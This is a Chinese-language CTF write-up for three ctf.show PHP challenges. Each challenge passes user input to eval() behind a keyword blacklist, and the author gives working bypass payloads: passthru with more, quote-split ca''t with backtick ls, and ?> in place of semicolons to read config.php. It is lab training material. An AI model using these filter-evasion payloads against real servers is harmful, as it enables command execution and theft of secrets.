ctf.show-阿呆的反击

阿呆听完自己菜死了,自己呆了。决定修好漏洞,绝对不能让自己再菜死了。

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|exec|highlight|cat/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

对代码分析,新过滤了cat命令,那就用more替代cat。构造url:?c=passthru('more config.php');,F12查看源码即可。


阿呆不慌不忙的拔掉自己所有的菜,以后自己就不会菜死了。

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

这题禁用了一些常用的命令执行函数,但是还是存在着漏网之鱼。常见的一些命令执行的语句

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
c=passthru("ca''t `ls`");

me5s7mdk.png


阿呆彻底呆了,阿呆拿起谷姐搜索好久,终于找到更狠的方法。

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

源码中过滤了参数中的 system exec highlight cat . ; file php config 等关键字, 这里可以使用 passthru()函数 配合反引号`` 来执行系统命令, 针对分号;的过滤, 我们可以使用 ?> 代替 分号, 首先查看当前目录下的文件

?c=passthru('ls')?>
?c=passthru("more `ls | grep con*`")?>
//然后读取出现的文件

me5st8o0.png

无标签
评论区
头像